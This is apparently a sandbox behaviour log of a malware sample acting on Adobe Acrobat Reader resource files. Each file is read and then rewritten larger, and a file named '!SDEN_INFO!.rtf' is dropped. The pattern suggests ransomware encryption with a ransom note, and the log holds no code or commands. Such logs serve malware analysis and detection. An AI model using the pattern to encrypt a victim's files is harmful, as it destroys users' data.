File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\ui-strings.js, size = 1317, size_out = 1317	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\ui-strings.js, size = 2733	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\ui-strings.js, size = 1346, size_out = 1346	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\ui-strings.js, size = 2762	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sk-sk\ui-strings.js, size = 1438, size_out = 1438	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sk-sk\ui-strings.js, size = 2854	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main-selector.css, size = 1605, size_out = 1605	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main-selector.css, size = 3021	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\cs-cz\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\cs-cz\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\cs-cz\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hr-hr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hr-hr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\hr-hr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\root\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\plugin.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-ae\ui-strings.js, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\en-ae\ui-strings.js, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\it-it\ui-strings.js, size = 1301, size_out = 1301	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\it-it\ui-strings.js, size = 2717	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\ui-strings.js, size = 1318, size_out = 1318	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\ui-strings.js, size = 2734	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\de-de\ui-strings.js, size = 1180, size_out = 1180	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\de-de\ui-strings.js, size = 2596	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\it-it\ui-strings.js, size = 1189, size_out = 1189	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\it-it\ui-strings.js, size = 2605	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sk-sk\ui-strings.js, size = 1201, size_out = 1201	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\sk-sk\ui-strings.js, size = 2617	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\Handler@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\Handler@1x.png, size = 985, size_out = 985	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\Handler@1x.png, size = 2401	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\Handler@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\Handler@1x.png, size = 985, size_out = 985	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\Handler@1x.png, size = 2401	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_TypeTextFields_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_TypeTextFields_White@1x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_TypeTextFields_White@1x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_TypeTextFields_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_TypeTextFields_White@1x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_TypeTextFields_White@1x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text.cur, size = 4286, size_out = 4286	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\text.cur, size = 5702	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text.cur, size = 4286, size_out = 4286	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text.cur, size = 5702	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ko-kr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\root\ui-strings.js, size = 1898, size_out = 1898	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\root\ui-strings.js, size = 3314	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif, size = 8151, size_out = 8151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons_ie8.gif, size = 9567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\ui-strings.js, size = 938, size_out = 938	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nl-nl\ui-strings.js, size = 2354	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\ui-strings.js, size = 1401, size_out = 1401	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ca-es\ui-strings.js, size = 2817	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-fr\ui-strings.js, size = 1450, size_out = 1450	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-fr\ui-strings.js, size = 2866	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\ui-strings.js, size = 1392, size_out = 1392	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\ui-strings.js, size = 2808	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
